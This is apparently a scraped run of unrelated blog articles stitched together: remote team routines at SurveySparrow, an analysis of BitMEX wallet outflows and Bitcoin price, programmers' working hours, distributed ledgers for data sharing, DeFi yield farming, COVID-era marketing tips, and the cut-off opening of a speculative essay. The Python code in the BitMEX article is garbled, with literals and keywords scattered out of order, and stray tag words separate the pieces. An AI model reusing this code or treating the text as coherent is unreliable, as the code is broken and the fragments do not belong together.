confirming the presence of employees in a mechanical fashion, we have tried to give #daily a humane touch and that has worked wonders. 2. Daily Scrum With SurveySparrow Physically, all of us are scattered, but our work is as aligned as it should be. We have automated the entire process of daily stand-ups with SurveySparrow’s own SlackBot. We had come up with this idea instantaneously as we decided to opt to work from home. Without any further ado, we sat to develop the tool and implemented it within a few days’ time. We had it integrated with the Slack channels of the respective teams and everyone was onboard. We then started receiving daily updates of each team's work status, saving us the trouble of any confusion. Needless to say, ever since then work coordination has become a cinch, thanks to our very own tool! You can try our Sparrow SlackBot too, it’s just a click away. 3. Weekly Reflections We as an organization are driven by impact rather than the volume of activities. Our belief lies in working towards solid solutions that will help us reach our organizational goals rather than flimsy activities that barely make a difference. We created a channel, #weekly, where the entire team updates the list of tasks carried out in the previous week. Weekly reflections help us analyze our work, evaluate the impact brought by each activity, and keep track of work in the pipeline. This has aided all of us in organizing and synchronizing the workflow much efficiently. When so much is done, the following week can be started off with great clarity and therefore on a good note. 4. Weekly Online Team Meeting The obvious perk of working in an office is that you work with your team in-person. Ideas are exchanged, plans are curated and executed together with the team beside you. When you work in such a zealous environment, you are sure to be inspired almost every time. But that needn't be the case when one works from home. Working all by oneself, cooped up in the four walls of the house can be exhausting both physically and emotionally. We have tried to tackle such a situation, here, at SurveySparrow. We make sure that the team members meet each other every week. We conduct a team-wise meeting weekly, via or  Zoom to brainstorm ideas, draft plans, and discuss work progression. Google Meet Meeting familiar faces and guiding each other is always a delight.  It helps dodge the work fatigue and rekindle the passion and drive for work. 5. Zoom Monthly All Hands Meet Our Monthly All Hands Meeting was something that we looked forward to at the end of every month. The meeting was a platform where business updates were reviewed, concerns of the employees were addressed and every milestone was celebrated. It helped our company become more transparent and bond with the employees better. The pandemic had posed a threat to all such meetings but we were uncompromising. We decided not to break the routine and still continue our all-hands meeting via Video Conferencing with our remote team. Zoom As a result, our employees are happier and the team spirit has bolstered up. Winding Up We were shook just like anybody but we were not ready to give up on something that we love so dearly. We set up our virtual office backed by , encouraged flexible work hours, and conducted activities to boost morale. Slack We go hand in hand as a company and have each other’s back whenever things go haywire. It has made all the difference. And that was our inspiration to chip in our contribution to this fight against the COVID-19 pandemic. We developed two remote tools, Sparrow SlackBot and Surveysparrow for Microsoft, to help ourselves and our counterparts streamline work efficiently. We didn't stop there. How could we forget those communities who are working day and night to ease the difficulties brought by this pandemic? We offer free services for the next 6 months for all NGOs fighting the good fight. If you are one among them please don't hesitate to visit our self-help portal: https://surveysparrow.com/help-each-other. We are more than happy to serve you. We are facing grim times and that’s the fact. Sugar-coated words are not going to help. We need to stand by each other and take up resilient actions to mitigate the current scenario of work. And yes, I strongly believe that our unity will help us overcome this crisis. It is just a matter of time. Previously published at https://surveysparrow.com/blog/remote-team-building-during-covid-outbreak/

Routine

Slack

How SurveySparrow Moved To Remote Team Management During the COVID OutBreak

Stacks

Initialized

Lover of All Things Serverless, lets talk

AWS CodePipeline: Setup And Maintenance From Scratch

Part of building a profitable trading strategy is quickly testing novel ideas. These tend to be the money makers in the rare case that they prove useful once you can integrate them into your strategy. Today, we will investigate one such idea. Here is the context: currently BitMEX — a large exchange for trading Bitcoin — allows withdraws from their wallets only one time per day. These withdraws — or outflows — can be quite high volume, so we would like to know if these so-called outflows of Bitcoin from BitMEX wallets are possibly an indicator of the Bitcoin market. Since I work for Amberdata, and Amberdata provides the best blockchain metrics and data, we will be using their product for today's analysis. All we need for this analysis is Amberdata’s Pro API and Python3 installed, so let us get started! What is Inflow/Outflow? Here we are looking at large movements of Bitcoin into and out of BitMEX wallets. More specifically, when somebody deposits money into, or makes a withdrawal from their BitMEX wallet; however, we do not have access to the Exchange’s data when users are depositing money, so we infer the flow of money into the wallets by watching their account balances on the blockchain. Simply put, inflow increases an address’ balance, while outflow decreases the address’ balance. Sanity check to make sure outflows only happen once a day Just as a quick sanity check, I decided to look at the hourly account balances of a few recently active BitMEX BTC wallets. As expected, the wallet outflows line up to only once per day. Note: the value on the y-axis is in Shatoshi’s, not Bitcoin. We can also test this assumption directly with the code below. It groups the data from hourly to daily, and tests to see if there is more than one outflow per address per day. Testing this on our above data shows the assumption is safe for now. The full notebook for this analysis is available . here combined = pd.DataFrame(data).T
combined.columns = [str(i) for i N)]
combined = combined.applymap(lambda : 1 > 0 0)
combined = combined. ). ({ : }, axis=1)
combined[ ] = combined[ ].apply(lambda df: datetime year=df.year, month=df.month, day=df.day)) 
combined. combined[ ],inplace=True)
combined = combined. ([ , ], axis=1)
combined = combined.resample( ) ) combined axis=1) ) == 1:
    p ) :
    p ) in range( x if x else reset _index( rename "index" "ts" 'date' "ts" .datetime( set _index( "date" drop "date" "ts" 'D' .sum( if .max( .max( rint( "Our assumtion is safe." else rint( "Incorrect assumption!" As we view the account balances of all addresses associated with BitMEX, we can start to get a picture of the net inflow/outflow of the exchange. Let us talk a little bit about the rationale behind our calculations. The Calculation Our primary interest is the money going in and coming out of BitMEX wallets, so let us talk a bit about how we calculate this. Imagine we have an eagle-eye view of the account balances on every BitMEX address. When one of the addresses, let’s call them A, makes a trade with another BitMEX address, B, for $100 worth of Bitcoin, then the transaction looks as such: A — 100 — >B. In other words, address A has an outflow of $100, and address B has an inflow of $100. But, we are most interested in the flow of money in and out of the system: the BitMEX exchange. Hence, we take a look at the net flow of all addresses. We calculate the net flow as: Net = In - Out. In this view, we can compare the total money going into BitMEX Bitcoin wallets, and the total money going out. When there is a large move in either direction, this will show up on the net inflows/outflows. The Analysis Now that we have the calculation down, it is time to turn our attention to getting the data. As mentioned above, we are focusing in to BitMEX Bitcoin wallets, and since we want to capture as much activity as we can, we extend the look-back to one year from the current day. We collected as many addresses as we could for this analysis, approximately five hundred thousand in total. These addresses all start with either “3BMEX” or “3BitMEX”, and in our analysis “3BMEX” was much more common. In our case, the average activity addresses did not differ much between the two naming conventions. Once you have your addresses — and these could be any set of addresses on supported blockchains — you can use this great little function to get the response from Amberdata: headers:
        headers = { : api_key} queryString:
        response = requests.request( , url, headers=headers, params=queryString) :
        response = requests.request( , url, headers=headers)
    response = json.loads(response.text) : response[ ] == : response[ ] KeyError: : def get_response (url, headers=None, queryString=None) "Get the REST response from the specified URL" if not 'x-api-key' if "GET" else "GET" try if "title" "OK" return "payload" except return None This works for all of the calls in the analysis, but using may not be ideal for your use-case, depending on the endpoint. In this case we are accessing Amberdata’s endpoint, which looks a little like this: response["payload"] Account Balance Historical url = + address + querystring = { : startTime, : endTime}

headers = {
    'x-amberdata-blockchain-id': ,
    'x-api-key': os.getenv( )
}

payload = get_response(url, headers, querystring) "https://web3api.io/api/v2/addresses/" "/account-balances/historical" "startDate" "endDate" "bitcoin-mainnet" "AMBERDATA_API_KEY" Where address is the address for which to get account balance. Our focus is on addresses on Bitcoin, so we use for the blockchain ID. bitcoin-mainnet At five hundred thousand addresses over a year-long period, this computation can take upwards of 40 hours! This is where Python’s built-in support for concurrency comes in handy. Using a function called in to calculate the daily total inflow and outflow for an address, we can use Python’s to cut the execution time by 5x or more — depending on the speed of your machine. We save the aggregated daily flows as well as add them to the data frame. After running my analysis, the size of was over 6 GB! This we can use later for digging deeper into the activity. daily_inflow_outflow utils.py ThreadPoolExecutor gross_daily all_activity i tqdm.trange( (addresses) // .P):
        with ThreadPoolExecutor(max_workers= ) as executor:
            futures = {executor.submit(utils.daily_inflow_outflow, addresses[ .P*i+j], headers, querystring): addresses[ .P*i+j] j range( .P) i+j < (addresses)} future as_completed(futures):
                address = futures[future]
                res = future.result() res is None:
                    gross_daily += res
                    all_activity[address] = res.to_json() :
                    all_activity[address] = {} for in len config 4 config config for in config if len for in if not else We use some vectorized functions in Pandas to add together all of the inflows and outflows of these wallets, overlay the net with the price of bitcoin, and voila! Net inflow/outflow and Bitcoin price First, note the obvious spikes in inflow/outflow. We might categorize these as anomalous behavior. These are the signals that we wish to evaluate in our strategy. We first difference the net flows, or — in time series terminology — introduce a lag of one. Simply put, we calculate the daily change in net flow. By plotting the lagged daily net flows on a histogram, we can get an idea of the distribution of daily change in net flow and can infer anomalies. Net inflow/outflow differences, and standard deviations in red Here, we are looking specifically for the outliers, so we plotted standard deviations from the mean by red lines. We choose the outer red line to indicate high changes in net flows. In plain English, if we observe a daily change in net inflow or outflow greater than 3 sigma, then it is a significant amount of flow out of or into BitMEX wallets. If we choose 3 standard deviations, we end up excluding 97.521% of the days from our analysis. Some sharp-eyed statisticians may notice that 97.521% is not the 99.7% we would expect from 3 sigma. Since this is just an empirical estimation based on historical values and our daily change in net flows do not look normally distributed, we cannot expect to see exact quantiles. Now that we can identify abnormally high net flow days, we can plot our days of high inflow/outflow over the price of Bitcoin. High inflow/outflow days in BitMEX and Bitcoin Here we can see that high BitMEX outflow is typically accompanied by a sharp downturn in price. The event in October 2019, March 2020, and late May 2020 were all followed by huge outflows of Bitcoin in BitMEX wallets. We can drill down into these periods further and see what was going on. A outflow period in 2019, where outflows followed a large price dip of 20% The second high outflow period, in 2020 But, notice that it takes the current algorithm a day to recognize the change in flows. By that time it is likely already too late, so we can do better with a rolling standard deviation SMA, or . These will help us quickly identify when we are experiencing sufficiently larger flows than usual in either direction. Using slightly modified code from a Python website for : Bollinger Bands Bollinger Bands def bollinger_bands(df,lookback,std,plot= ):
    sym = list(df. . )[ ]
    rolling_mean = df.rolling( =lookback,center= ).mean()
    rolling_std = df.rolling( =lookback,center= ).std()
    upper_band = rolling_mean + std*rolling_std
    lower_band = rolling_mean - std*rolling_std
    lower_band. ( ={sym: }, inplace= )
    upper_band. ( ={sym: }, inplace= )
    rolling_mean. ( ={sym: }, inplace= ) plot == :
        ax = df.plot(title="Net Flow BB", label=sym,color = )
        rolling_mean.plot(ax=ax, color= )
        upper_band.plot(ax=ax, color = )
        lower_band.plot(ax=ax, color = )
        ax.set_xlabel("Date")
        ax.set_ylabel("Price")
        ax.legend(loc= , prop={ : })
        plt.savefig(sym+ )
        plt. () rolling_mean,upper_band,lower_band
rolling_mean, upper, lower = bollinger_bands(data[["net"]], lookback= , std= , plot="yes") 'no' columns values 0 window False window False rename columns 'lower band' True rename columns 'upper band' True rename columns 'SMA' True if 'yes' 'blue' 'gold' 'cyan' 'cyan' 'upper left' 'size' 8 '_BollingerBands.png' show return 60 3 Gives us this sort of painful looking graph: 60 SMA and 3 sigma BB Where the cyan lines are the Bollinger Bands. When our series passes above or below those bands, it is a signal of anomalous behavior. Now we see just how much quicker we are at identifying large flows. The results differ drastically depending on the look-back window and and choice of sigma, so I encourage you to try that on your own. Plotting the days that exceed the Bollinger bands, we find a much tighter fit with price movements: Bollinger Band Anomalous Flows Zooming in to the two periods of high flows: First period — 2019 Second period — 2020 We see that we have a lagging indicator and more false positives than we had in the previous method. False positives are a common downfall of Bollinger Bands, and they are usually paired with another indicator for this reason. Fortunately, we have a very clear picture of the highest activity period in mid March 2020. People rushed in after a drop of over 37.5% and bought as much as they could for two days, and many people also left on the third day after the drop. In the first period, we can see everybody selling after a drop of roughly 20%. Another great lesson to just HODL and keep moving forward. Now, let us just have fun and look at the largest flows over the period. These are all of the flows greater than three standard deviations from normal values: Flows > 3 sigma Zooming in for more context: 3 Sigma Flows for the first period 3 Sigma Flows for the second period This method is equivalent to drawing a horizontal line above and below the net flows and marking all days with net inflow above and net outflow below the line as anomalies. While the most direct way to view the activity we describe, here we are also the most prone to . Clearly, these outflow activities happen around the largest periods of price movements. However, since we cannot know the average standard deviations of net flow in advance we cannot say for sure that this sort of analysis is even possible. The only feasible way of running this live would be to use Bollinger Bands with a look-back window of 365 days, but we do not have enough data here to back-test it. data snooping bias One drawback of this analysis is that we observe only daily flows. As we know, Bitcoin is traded live at all times of the day and night across the world, so it is to our detriment to split the prices by day. An interesting way to move this research further would be to drill down into the periods of high inflow/outflow and do an hourly or minute-by-minute analysis, and see how quickly we get the signal and can act on it. In order to implement this concept in a live strategy, we can take advantage of Amberdata’s endpoint to monitor the live inflow and outflow of BitMEX wallets. When the outflows reach a certain threshold, we have an indication that a large market movement will precipitate. Addresses Balance Batch The full code for this post is available . here

How BitMEX Wallets Impact the Price of Bitcoin

What do you think, how long do programmers actually work per day? Most people would say that the answer is 8-9 hours. Some say that they work 12 hours or more per day. While that is somewhere true, it’s not the amount that most programmers actually work, because you can’t consider browsing the web as working, right? So, in this article, I am going to tell you how long do programmers actually work per day, and by working I don’t mean sitting on the table and browsing the internet. Also, I’ll try to explain why is that and which things influence how long is someone working. Let’s get started. How Long Do Programmers Work Most programmers work 8 hours a day, but in those 8 hours, you have a lunch break, team meeting, and then the work that needs to be done on a computer, which is coding, researching, and all the other things that go with that. That’s how things would work in the perfect world, but things aren’t always perfect. Let’s take a look at how things probably look for most of the programmers. Most programmers start their day by drinking coffee and talking with their co-workers. After that’s done, depending on where your desk is located, you’ll probably spend some time just browsing the internet, reading news and so on. Then after you’ve done that you probably start preparing your development environment, and when you actually start to work, there comes the lunch break. Let’s say that after you’ve finished lunch it’s 1:00 pm. At that point, you probably stop for 20 minutes and then start actually working. You work for 2 hours, and then you need to go to the meeting. After meeting, its’ 4:00 pm. Now, most people start waiting for 5:00 pm, so that they can go home. And that’s probably how the day looks for at least 25% of all developers in the world. What Determines How Long Programmers Work There are a lot of factors that determine how long programmers actually work per day. The first factor is where the desk is located. If you work in a company that has parallel rows of let’s say 10 desks, everyone can you what you’re doing, so that makes it harder to not work and just browse the web. On the other hand, if you have your own office or you have some desk tucked in the corner, not a lot of people can see you if they aren’t specifically looking for you. If you are in that kind of situation, it’s very hard to be productive, because not a lot of people are forcing you. The second factor is deadlines. If you have deadlines you’ll have to work more than if you didn’t have them. There are some jobs which have very straight deadlines which you need to meet and there are some jobs, where deadlines are a little bit more flexible. The last factor that determines how long you actually need to work is your boss. If you have a boss that is relatively new and wasn’t been in the company from the beginnings, things will probably be a little easier. On the other hand, if you have a boss that is one of the founders or someone who has been in the company very long, things will be a little harder. Why Programmers Don’t Work 8 Hours Per Day Now, the question that is left is why programmers don’t work 8 hours per day? The answer to that primarily depends on motivation. If you are working for someone else on the project that you don’t particularly like, your motivation won’t be so high and you will probably spend more time browsing the web than working. On the other hand, if you have your own company, you’ll probably be working even more than 8 hours per day, because you want your company to succeed. Conclusion In conclusion, we can say that most of the programmers actually work between 2-4 hours per day. Of course, there are some that work more, but they are less common. I hope that I have helped you with this article. If you liked this article, make sure to share it with your friends. Also, if you think that I have missed something or you have any other questions, be sure to post your questions in the comments or send me an email at , I will be happy to answer them. info@codequickie.com

How Many Hours Per Day Do Programmers Actually Work?  

Data is one of the most important tools of our time. Its usage is now pervasive throughout all aspects of society: from air transport to banking, construction to dentistry, from education to farming and beyond. More and more we are combining data to gain a greater understanding of how the world works and improve upon it. To do so we are merging different data sources and even bringing about more value creation. The global data is estimated to be worth $3 trillion. It has become common knowledge that data sharing can be used to improve the world and the lives of the people within it. As such, database sharing has become a key goal across a wide range and variety of sectors. The new oil The world’s biggest businesses are built on data. For example, Amazon rose to its preeminent position as a tech giant in retail precisely through collecting and merging data sets. It is now known that Amazon’s strategy was to first partner with rivals, study their sector’s value chain through the data they provided, and then expand directly into their business. “They learned a tonne on our dime, and we didn’t learn much,” former chief strategy officer of Target, Carl Casey, later . remarked about Amazon So the value of data is clear to see. And the example of how Amazon was able to exploit others’ data to its own advantage serves as an ample excuse for corporate executives to exercise caution when entering into data-sharing agreements. However, by sharing data, industry collaborators can reduce transactional friction in their operations. The question is: could there be a way to satisfy the cautious concerns of enterprises willing to participate in data-sharing initiatives, yet not surrendering their precious data to be taken advantage of by others, while at the same time bringing data from various sources into one system for greater transactional efficiency? Distributed ledgers as the answer Distributed ledger technology (DLT) holds this promise, but incumbent tech is yet to achieve sufficient traction in business networks, thus the technology as a whole remains unproven. The reluctance to adopt can be put down to several reasons: from scalability, ease of use, and different network types (public/private) and their interoperability, to regulatory compliance and on-chain storage of large data sets. However, should these bottlenecks be overcome, the main advantage for business networks in adoption of DLT still persists: they can benefit from combining their data without losing control over it. Need to equip with the right tech The problem with the current shared databases is that trust in how they are governed and used has to be placed with a centralized authority. Implementing advanced distributed ledger technology allows businesses to operate in shared databases which allow firms to retain ownership of their intellectual property. The network isn’t owned or controlled by any single participant, ensuring greater trust in the network as a whole. Concerns around control The most well-known DLT networks are completely open and public, incorporating blockchain which chains together data to create a historical link of all changes made. However, a completely open network with full public access is hardly one that businesses will be ready to use; their data holds value to them when kept secret. One of the advantages of blockchain is that data placed on-chain cannot be arbitrarily deleted by any of the network participants. In an enterprise environment where parties contribute data yet later want to withdraw participation or have to comply with data erasure regulations such as those stipulated in the GDPR, this position seems infeasible. Thus, this contributes to the hesitation and caution that company executives are exercising when deliberating the adoption of DLT. This calls for a specific type of DLT that is able to link data, yet comply with erasure. Some blockchain platforms offer ways around this by storing such data off-network; instead just providing references to it via a fingerprint on the network. However, this in itself becomes impractical as it limits the automation capabilities for operations using said data. There needs to be a way to scramble data previously placed on the network, without breaking the historical chain. What is the solution? One way around this could be by using a system of different hashes that are stored together with the data. Blockchain is constructed using those hashes. Should the data be deleted, the hashes remain, thereby avoiding the chain’s integrity being compromised. Just as with any other ledger entry, the data object state alteration is recorded, but in this request, the valuable data is deleted. This means that the data itself can no longer be validated against its hash. Moreover, this DLT includes the reason(s) for why the data was removed, meaning network participants can easily see why they no longer have access to it. Capturing all the value of data Enterprise networks can reduce transactional friction in their data operations between one another in order to capture all the value that data has to offer. This will not only boost the efficiency of current operations but also give rise to completely new business models and create even more value. Instead of storing data in silos, through participation in a single database and sharing within it, collaborators in enterprise networks can transact more efficiently, while reducing issues that currently exist in the recording and transmitting of data. Furthermore, participants in such networks can easily determine provenance and spot trends/patterns. Enterprise leaders will need to take the leap of faith with well-thought-through technologies that protect their interests in terms of their control over their data, while offering all the benefits that data collaboration has to offer.

Ledgers

Target

The Question Of Control Over Data in Shared Databases

High APY won’t last long, Defi + upgraded DAO is the true future The farming mania Have you enjoyed the yield farming in the last couple of days? The price of COMP has jumped from $30 to $340 in just a week. And by supplying token assets on Compound, the lenders(of some tokens) could earn 20%+ APY (not counting the incentives COMP yet). On Saturday, June 20, Compound has overtaken MakerDAO to become the largest decentralized finance protocol by total value locked according to data from DeFi Pulse. There is over $580M in cryptocurrency locked on Compound compared to $470M on MakerDAO. Source: The Block Behind the halo It happened so quickly that people on Twitter kept comparing it with the ICO scam. Not to judge for that yet, let’s understand the mechanism of how Compound works first. In a nutshell, it’s called “Liquidity Mining.” The more people borrow or lend, the more rewards(COMP token) they can “farm,” which increases the liquidity of the financing and the size of the balance sheet. It’s not different from that you save money to the bank and earn the interest rate (it’s very low). However, on Compound, borrowers are willing to pay a lot more, because they think they can make more money with what they borrow from you than what they have to pay you. How does it work? They are getting paid to borrow. When they borrow from you on Compound, they are getting COMP Token as a sort of cashback. The more they borrow, the more COMP Token they get. At this time, the cashback(big juicy subsidies) is actually worth more than the cost of the fees to borrow, which means people are incentivized to borrow just to “farm” the cashback. As liquidity miners are compensated for both lending and borrowing, the optimal strategy is to lend the highest interest rate asset, borrow as much as they can against their tokens and then add the remaining assets back into the lending pool. So, People are borrowing funds to “farm” COMP, then using the same funds out to lend, increasing their yield (COMP reward) even further. As a result, now they can earn 100% APY instead of the 0.01%-1.00% your banks are offering you, which is a 100–10,000X increase. What’s going to happen next? While almost everyone agrees that when something becomes too good to be true, it either won’t be sustainable or won’t exist at all. Since you can lend, borrow, then lend and borrow again, just like using leverages to do the arbitrage, it has the material risks of liquidation, especially the APY rate is fluctuating severely. And actually, it has already happened in some users’ accounts. Do you remember the Trans-Fee Mining(the more you trade, the more FT you can farm) introduced by Fcoin? Within a few weeks after launching the incentive program, FCoin’s 24-hour trading volume reached a whopping $17B on June 26, 2018 (3 times the total trading volume of other top 10 exchanges). However, the surge did not last long. As reported on CoinMarketCap, FCoin’s 24-hour trading volume dropped to $0.16B on August 12, 2018. It collapsed when people started to dump FT, and it was a speeding-up vicious cycle when people saw the FT price was dropping. So, same here, does Compound give its users a reason to hold COMP instead of selling it? There would be a tricky point that when people dump COMP token to secure their profit, the price of the COMP token keeps dropping and becomes unattractive or hard to compensate for the difference between the borrowing and lending cost, then people start to withdraw their token assets from the platform, and the tragedy begins. As an “insider” of the blockchain and crypto field, few of my friends borrow or lend from these Defi platforms, or holding COMP or MKR tokens. It might be some selection bias, but it reminds me that the size of this Defi market is actually limited to the level of speculative activities in the crypto industry. If there are no breakthrough use scenarios to bring in new users, the imagination that the existing user base will support a new giant will also be limited. It’s just another zero-sum game. Is Defi a Pseudo-proposition？ Definitely no. But I don’t think Defi will replace the Cefi. On the contrary, they will co-exist in the long term. Like the day and night, Defi and Cefi will complement each other to serve different business/people, and they will have interactions, like the stable coin/Fiat and KYC. Defi is still at its early stage. If it is only borrowing or lending to gain arbitrage, it will just become another alternative investment. How could it change the world as it intends to be? In the physical world, companies create value, and that’s what the stocks, bonds, or alternative investment products are pegging. In the decentralized world, distributed collaborations constitute the Decentralized Autonomous Organization (DAO). As the counterpart of the traditional company and as a reasonable logic, Defi should peg to the value creation entity- DAO. Different DAOs are set to accomplish various goals, so borrowing and lending is only a small part of the whole landscape. As an organization lives on the blockchain and internet, all the activities that the distributed community members carry out (like finish a task, conduct a transaction or share knowledge) will be recorded and tracked in almost real-time, which offers the edge for Defi to be different from traditional centralized finance. So, not as in the traditional finance scenario that the information asymmetry forced investors to gauge the past business data and bet on the future almost blindly, or invest in a project to try their luck, Defi investors or Defi service providers could scrutinize the “atomic” layer (in theory), with their investment or alternative investment pegged to the progress of the collaboration or the project in the DAO. Too complicated or not real? No worries, DAO has the capability to backbone that, and now almost all the Defi projects are leveraging the DAO’s governance structure. However, the DAO’s governance protocols need to be upgraded, voting and budget allocating (which most governance protocols are focusing on) are not enough, because that is only the beginning of the whole collaboration process in the DAO. A systematic framework should be built up to regulate the distributed collaborative relationship, to manage the collaboration, and to protect the interests of all the collaborators. With the framework, Defi investors or service providers can peg to the project’s real value, controlling their own destiny while also providing the liquidity for the project, which is a win-win. So, to conclude, Defi + DAO (with updated governance framework) will become the real organic field to farm. Contributed by Kevin Liu

Maker

fees

MakerDAO

Twitter

Yield Farming Cannot Be The Organic Future of Blockchain

Without wanting to sound like an alarmist, the current pandemic has forced businesses to depend more than ever on a digital strategy. Overnight, the offline channels of live-events, conferences, trade fairs, and face to face interactions disappeared. The solution to the enormous challenge of social distancing is to mitigate this loss. In the coming months, your clients will be less open to letting you walk into their offices or shake hands. No one knows how long this will last for, or the subsequent long-term changes that Covid-19 will bring in the way companies work and market themselves. At the same time, it has become the reason for the huge leap in business strategies. The panic mode has set entrepreneurs thinking on the lines of digital strategies to survive the current situation, attract new customers and stay relevant to the existing ones. Going digital is certainly the key to keeping your business alive. How early you make a move to meet the crisis is precisely the deciding factor for those who will scale the business when this ends. Here are the top 7 ways that will help you scale your business post-COVID-19: Although your customers and audience may be spending less, they are still spending. This means, instead of risking their pennies, they want to buy from businesses they trust. The 7 ways you can prepare your marketing activities to scale your business during and beyond the Coronavirus pandemic are: Retain existing customers Forge a price increase Building visibility in front of potential clients Touch base with your clients proactively Customer support is the new marketing Analyze and measure Test, learn and tweak Let’s learn about each of these strategies in detail. – The adage goes “out of sight means out of mind”. If you do not touch base with your customers, you risk losing them. Also, it is 5 times cheaper to retain an existing customer than to acquire a new one, as per . #1. Retain the existing customers Invespcro Marketing automation helps you stay in touch with your users at scale. Stay away from spamming them with cold emails or broadcasting promotional messages. Rather, send contextual and personalized messages to those who want to hear from you. Deliver a creative and thoughtful marketing campaign to boost your ROI. Doing this systematically frees up your time and resources. Think of using content as a means for a tactical digital marketing campaign, to . Share the innovations the pandemic led you to bring out. Promote what differentiates you from the competitors and the new clients you won. retain existing customers Share case studies of how your product helped customers increase their business or productivity. Don’t miss out on engaging with your audience on social media. LinkedIn, Facebook and Twitter are some of the platforms where your audience is reviewing your business, talking about the purchase experience and exchanging their views. Use social media management tools such as to learn more about the market and what your customers are saying about your brand. SocialPilot Takeaway – Your messaging has to be valuable and appropriate. Ditch advertising about your business or being salesy. - The way you deal with customers in the current humanitarian crisis is going to last forever in their memories. , an accounting software made an impactful move by postponing payroll subscription changes to help with the cash flow and shared it with their customers via email. #2. Forgo Price Increase Quickbooks Even if you are high in the demand product line in the current situation, consider delaying the price hike until the situation improves. This is the time to serve the community, not take advantage of the situation. Takeaway: Plan a price hike strategy for the good times that should benefit the community, employees, customers, and the company. Map out customer preferences to add value to the product to back for the increased prices once everything is back to normal. - With social distancing and staying home becoming the new normal, people are spending more time online than ever before. Surprisingly the paid ads have become cheaper, and they are producing more ROI than before. #3. Building visibility in front of potential clients 71% Along with paid advertising, virtual events have helped businesses increase their visibility. Necker’s Toyland, a toy store in the industry since 1984, in Connecticut, came up with the concept of virtual store round for kids to choose their preferred toys and free delivery and curbside pickup too. Source: Takeaway: Whether you are using paid marketing or leveraging organic channels of advertising, communicate your message with empathy to connect with the readers. - The uncertainties of the current crisis have made it imperative to stay connected with your clients proactively. The working styles have undergone a massive transformation; the economy is shaken and the clients need to be updated about the every minute change for an unshakable bond. #4. Touch base with your clients proactively While emails and calls are the handy means to convey important messages, you can resort to updating information on your website through banners. Unpredictable being the new norm, flexibility with your availability can build a lasting impression with your clients. Update your working hours, opening and closing times across all the online platforms to keep customers informed about the changes. Google came up with a complete guide to help businesses update their information conveniently: Source: Takeaway: Create a “resource hub” on your website or social media that can act as a one-stop-solution for an audience looking for regular industry updates. You can either create the content yourself or curate the available information. - Customer support reps are rapidly adapting to the constantly changing customer scenarios since the impact of Covid-19. #5. Customer support is the new marketing The customer support tickets have been the highest during these times, which has allowed businesses to delight the customers by offering outstanding customer experience. Average weekly tickets have gone up by as compared to 2019. 24% Train your support executives to practice empathy when dealing with customers as someone who would have reached out might be impacted by the situation personally. You can’t leave any opportunity of telling the customers how you are there to help them and others in need by personalizing your customer support. Apparel brand uses SMS marketing to get in touch with their customers to communicate and engage with them immediately. helps you automate your SMS marketing to ease off some burden from the support and marketing teams. Alala JookSMS Takeaway: Offering cross-platform support on live chat, email, SMS, WhatsApp, calls, video calling and social media is a good way to exceed customer expectations in the current scenario. - While being creative and innovative is the key, it is equally important to keep track of what is working for you. Analyze the customer response to your content, support experience, communication strategies, and use these analytics to alter your strategies. #6. Analyze and Measure Use Google analytics, and your social media ROI to understand what is keeping you afloat in the market. Instead of assuming what your customers want, use an online form builder such as to receive their perspective on your business and analyze your offerings. 123FormBuilder Takeaway: Conversion Rate Optimization helps to identify the minutest changes that can prove to be the game-changer for you. - While few things might work for everyone, most of the process is unique to every business. #7. Test, learn, tweak Try new strategies, analyze the results, and implement the changes to come up with a tailor-made approach for your business. Keep a keen eye on the latest government updates on the new policies and tweak your strategies accordingly. You can even seek inputs from customer behavior on social media to understand their preferences and offer them customized services. Takeaway: The market being fluid doesn’t give you much time to adjust your strategies. The need of the hour is the speed to market at a scale never witnessed before. It’s time to make quick decisions, quick experiments, and if something fails, move on! The challenges that followed Covid-19 have raised the bar for every business. Digital marketing is no more an emergency fit-in. It carries a long-term value even as the world gets back to functioning normally. These digital marketing strategies will make your business more resilient to deal with the pandemic and beyond. Feature image courtesy - Unsplash .

Plan A

7 Tips for Scaling a Digital Business post-COVID19

It's the end of the world as we know it, humanity is programmable and our operating system is getting a reboot. The question is when the system is back online what will be in its place? With the recent outbreak of global pandemic COVID-19, the world is being pushed further into digital space, where nation-states, corporations, and a New Commons Movement are engineering economic and social systems in a race to create the new matrices in which we will exist. These next-generation frameworks will forever change the way humans interact, transact, live, and evolve. A Brave New World...or Is It? Over the last decade, blockchain technology, cryptocurrencies, smart contracts, and token economics have been an experiment into the possibility of new political-economic systems that are increasingly decentralized. However, this is just the most recent of many attempts throughout history to democratize the political-economic landscape, and although this time new technologies give us a greater chance at success, there are huge questions about the possibility that people in this world will truly ever be free. These questions teeter without end on the precipice of evolutionary advancement. Since the dawn of man, there has been a battle for power and resources spurred by the hegemonic, colonialist, violent, and extractive tendencies of human nature under the reactionary nature of the reptilian part of our brains. This is best illustrated in the iconic Dawn of Man scene from 2001 Space Odyssey by Stanley Kubrick. Operating from a scarcity mindset, these behaviors have dominated and defined the vast majority of our recorded history. The few exceptions, like a Phoenix rising from the ashes, have seen great human advancements as a direct result of various forms of collapse i.e The Enlightenment after the Bubonic Plague. Whether economic, political, or religious in context, the narratives and myth of pursuit of liberation have common threads, and has been seen many times throughout history. When humans come to face the realities of their own mortality and look extinction in the face, there is a moment of pause - continue the status quo, or evolve. In step with the , which has often been attributed as a factor in by researchers, our generation now is experiencing, in its new awareness and response to a global pandemic, the possibilities to reboot and re-evolve into the next phase of humankind. Psychedelics Renaissance mammalian evolution There is an opportunity once again in collapse and the detritus of a Pandora's box of unforeseen technological repercussions, to reflect on and re-imagine what this next iteration of humanity looks like. Will the reptilian brain prevail ushering in a new Dark Age? Or will the growing Lymbic threads propel us closer to a Regenaissance - a Utopian reality, where an operating system based on abundance leverages technology and resources to provide, at minimum, safety, shelter, basic needs and well being to all life on this planet? When the pandemic dust settles, an indication of the results of the political-economical-evolutionary space race will be unveiled. (Or perhaps we can point to certain indicators now of what that could look like.) But before we delve into the effects, we should look at the causes and impetus for this massive shift in paradigms, or realities, that we are experiencing now. Liberty or Extinction By Jessica Zartler under the DWTFYW Public Licence The system is broken. It has been broken for some time in this iteration of humanity and although we have all known at some level, our malaise has reached a point in space-time where it can no longer be tolerated. The global warning signs of impending frog boil have our instincts screaming. The colonialist consequences of the Reptilian Brain Era, fueled the engine of exponential extraction and destruction during the Industrial Revolution, which happened too quickly for the developing universal consciousness - Lymbic threads - to catch up. However, with the growth of globalization and the memetic nature of shared communication - the new Alexandrian library (the internet) and other technologies creating the hive mind - the speed at which we are destroying ourselves, is being mirrored by the speed at which we are becoming aware of ourselves and the destruction. New feedback mechanisms and the increased velocity of these growing mycelial-like systems of 